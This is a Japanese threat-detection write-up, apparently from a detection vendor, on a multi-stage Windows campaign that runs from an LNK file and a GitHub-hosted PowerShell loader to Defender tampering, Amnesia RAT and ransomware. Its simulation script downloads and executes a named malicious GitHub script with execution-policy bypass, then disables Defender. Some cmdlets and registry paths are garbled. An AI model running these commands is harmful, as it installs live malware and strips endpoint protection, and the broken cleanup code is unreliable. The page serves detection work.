多段階型Windowsマルウェア作戦の内部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
FortiGuard Labsは、圧縮アーカイブ内に配信された悪意のあるLNKファイルで始まる多段階のWindows侵入チェーンを特定しました。このショートカットは、GitHubから後続スクリプトを引っ張る最初のPowerShellローダーを起動し、その後難読化されたVBScriptオーケストレーターに制御を渡します。このワークフローは、Microsoft Defenderを無効にし、Defendnotユーティリティを展開し、Amnesia RATとHakuna Matataランサムウェアの両方をステージングすることでエンドポイント防御を弱めようとします。操作は、デスクトップをロックして復旧の妨害をし、被害者に圧力をかけるWinLockerコンポーネントを投下することで終了します。
調査
調査官たちは、LNKがトリガーとなるPowerShellステージから、メモリ内でペイロードを再構築し、ランサムウェアの展開とデスクトップロック動作に至るVBScriptまでの実行パスを再構成しました。防御策は、標的としたレジストリエディットとTaskmgr.exeへのDefendnot DLLの挿入によって迂回されました。持続性は、Runキーエントリとスタートアップフォルダのアーティファクトを組み合わせることで実施され、ログオン後に再度チェーンをトリガーします。
緩和策
HKLMSOFTWAREPoliciesMicrosoftWindows Defender および HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies 下の疑わしいポリシーレベルのレジストリ変更を監視します。ステージングに使用される既知の悪意のあるGitHubやDropboxのURLへの外向きをブロックし、LNK起動からのPowerShellダウンロード・実行パターンを警告します。アプリケーションの許可リストを強化し、PowerShell実行制御を厳格化してスクリプトベースの初期アクセスを減らします。
応答
検出された場合、エンドポイントを隔離し、Defender関連のレジストリ設定を正常な状態に戻し、悪意のあるファイルと持続性エントリを削除します。アクティブなAmnesia RATプロセスと関連するネットワーク活動を監視し、ランサムウェアの実行が発生したかどうかを確認します。影響の範囲を特定し、残存物を消去するために完全なフォレンジック評価を行い、可能であればクリーンなバックアップからシステムを復旧します。
攻撃フロー
検出
疑わしいプロセスがコマンドラインでURLを使用 (cmdline経由)
見る
Windows Defenderのリアルタイム監視およびその他の設定変更の無効化 (cmdline経由)
見る
IOC (HashSha256) 検出: 多段階Windowsマルウェアキャンペーン内
見る
悪意のあるネットワーク活動とGitHub、Dropbox、Telegramを通じたC2 [Windowsネットワーク接続]
見る
WindowsマルウェアキャンペーンPowerShell実行 [Windows Powershell]
見る
PowerShellとCMDの実行、Install.exeの囮を使って [Windowsプロセス作成]
見る
シミュレーション実行
前提条件: テレメトリおよびベースラインプレフライトチェックが合格していること。
合理性: 本セクションは、検出ルールをトリガーするために設計された敵技術 (TTP) の正確な実行を詳述します。コマンドとナラティブは、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃ナラティブ&コマンド:
エンドポイントに初期の足掛かりを得た敵対者は、デフォルトの実行ポリシーを回避しながら悪意のあるPowerShellペイロードをダウンロードして実行しようとします。彼らはInvoke‑Expression(iex) を組み合わせてInvoke‑WebRequest(irm) を使用して遠隔GitHubの生URLからスクリプトを引っ張り、それを-ExecutionPolicy Bypassの下で実行します。持続性を確立した後、彼らは後続のペイロードの検出を避けるためにWindows Defenderのリアルタイム監視を無効にします。これらのステップは、Sigmaルールが監視するコマンドライン文字列を直接生成します。 -
回帰テストスクリプト:
# -------------------------------------------------------------- # ステップ 1 – 実行ポリシーバイパスでリモートスクリプトを実行 # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # ステップ 2 – Windows Defenderのリアルタイム監視を無効化 # -------------------------------------------------------------- # リアルタイム保護を無効化 Disable-MpPreference -DisableRealtimeMonitoring $true # 除外パスを追加 (シミュレーション) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
クリーンアップコマンド:
# Windows Defenderのリアルタイム監視を再度有効化 Enable-MpPreference -DisableRealtimeMonitoring $false # 除外パスを削除 (存在する場合) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # スクリプトによって開始された残留PowerShellプロセスを停止します Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force